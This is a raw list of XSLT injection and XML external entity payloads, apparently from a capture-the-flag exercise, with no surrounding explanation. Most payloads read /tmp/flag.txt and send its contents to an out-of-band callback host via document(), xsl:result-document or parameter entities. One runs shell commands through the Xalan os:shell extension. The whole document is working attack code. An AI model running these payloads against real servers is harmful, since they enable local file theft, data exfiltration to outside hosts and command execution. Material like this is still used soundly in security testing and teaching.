1304545

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/">
        <xsl:variable name="ping" select="document('http://sqvqbzrzkbyotxcwmzzw5uh3pelr1pn7f.oast.fun/ping_test')"/>
    </xsl:template>
</xsl:stylesheet>

1304545

<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/">
        <xsl:variable name="flag" select="unparsed-text('file:///tmp/flag.txt')" />

        <xsl:result-document href="http://sqvqbzrzkbyotxcwmzzw5uh3pelr1pn7f.oast.fun/?c={$flag}" />
    </xsl:template>
</xsl:stylesheet>

1304545

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:os="http://xml.apache.org/xalan/lib/os.OS"
    exclude-result-prefixes="os">
  <xsl:template match="/">
    <xsl:value-of select="os:shell('ls /tmp')"/>
  </xsl:template>
</xsl:stylesheet>

1304545

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <result>
      <xsl:value-of select="unparsed-text('file:///tmp/flag.txt')"/>
    </result>
  </xsl:template>
</xsl:stylesheet>

1304545

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="document(concat('http://sqvqbzrzkbyotxcwmzzw5uh3pelr1pn7f.oast.fun/?flag=', unparsed-text('file:///tmp/flag.txt')))"/>
  </xsl:template>
</xsl:stylesheet>

1304545

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:variable name="flag" select="unparsed-text('file:///tmp/flag.txt')" />
  <xsl:variable name="oob" select="document(concat('http://sqvqbzrzkbyotxcwmzzw5uh3pelr1pn7f.oast.fun/?flag=', $flag))" />
  <xsl:template match="/">
    <done/>
  </xsl:template>
</xsl:stylesheet>

1304545

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/">
        <result>
            <xsl:value-of select="unparsed-text('file:///tmp/flag.txt')" />
        </result>
    </xsl:template>
</xsl:stylesheet>

1304545

<!DOCTYPE root [
    <!ENTITY % file SYSTEM "file:///tmp/flag.txt">
    <!ENTITY % dtd "<!ENTITY % send SYSTEM 'http://sqvqbzrzkbyotxcwmzzw5uh3pelr1pn7f.oast.fun/?flag=%file;'>">
    %dtd;
    %send;
]>
<root/>

1304545

<!DOCTYPE root [
    <!ENTITY % file SYSTEM "file:///tmp/flag.txt">
    <!ENTITY % dtd "<!ENTITY % send SYSTEM 'http://sqvqbzrzkbyotxcwmzzw5uh3pelr1pn7f.oast.fun/?flag=%file;'>">
    %dtd;
    %send;
]>
<root/>

1304545

<!ENTITY % file SYSTEM "file:///tmp/flag.txt">
<!ENTITY % exfil SYSTEM "http://sqvqbzrzkbyotxcwmzzw5uh3pelr1pn7f.oast.fun/?p=%file;">